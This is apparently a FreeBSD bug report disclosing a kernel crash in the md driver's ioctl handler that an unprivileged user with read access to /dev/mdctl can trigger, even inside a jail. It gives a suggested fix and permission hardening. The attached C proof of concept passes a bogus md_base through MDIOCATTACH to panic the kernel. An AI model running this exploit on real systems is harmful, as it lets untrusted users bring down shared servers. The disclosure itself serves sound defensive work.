>Description:
User who has read permission on "/dev/mdctl" is able to crash the system (also within the jail if only provided by devfs(.rules)) via ioctl() handler in "/usr/src/sys/dev/md/md.c:1127". The crash occures in function bcopy() (md.c:491) called in mdstart_preload() (md.c:493). Some detailed information included below.

>How-To-Repeat:
Compile and execute the code from the attachment.
>Fix:
Validate input data from user to xmdctlioctl() in ""/usr/src/sys/dev/md/md.c".

To prevent evil users from doing bad things administrators should ensure, that "/dev/mdctl" permissions are +rw (600) only for root.

For servers where jails are provided for untrusted users (e.g. hosting companies) access to "/dev/mdctl" device should be forbidden/hidden using defvs.rules.

Patch attached with submission follows:

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mdioctl.h>


int main()
{
	int f;
	struct md_ioctl s;
	struct stat ss;

	s.md_version = MDIOVERSION;
	//s.md_type = MD_PRELOAD;
	s.md_type = MD_MALLOC;
	/* this one becomes sc->pl_ptr */
	s.md_base = 0x41414141-0x200;

	if (stat("/dev/mdctl", &ss) != 0) {
		printf("stat(\"/dev/mdctl\") failed: %s\n", strerror(errno));
		exit (0);
	}

	f = open("/dev/mdctl", O_RDONLY, 0);

	printf("say goodnight...\n");

	if (ioctl(f, MDIOCATTACH, &s) < 0)
	      	printf("ioctl(MDIOCATTACH) failed: %s\n", strerror(errno));

	printf("no +r no fun\n");

	exit (0);
}
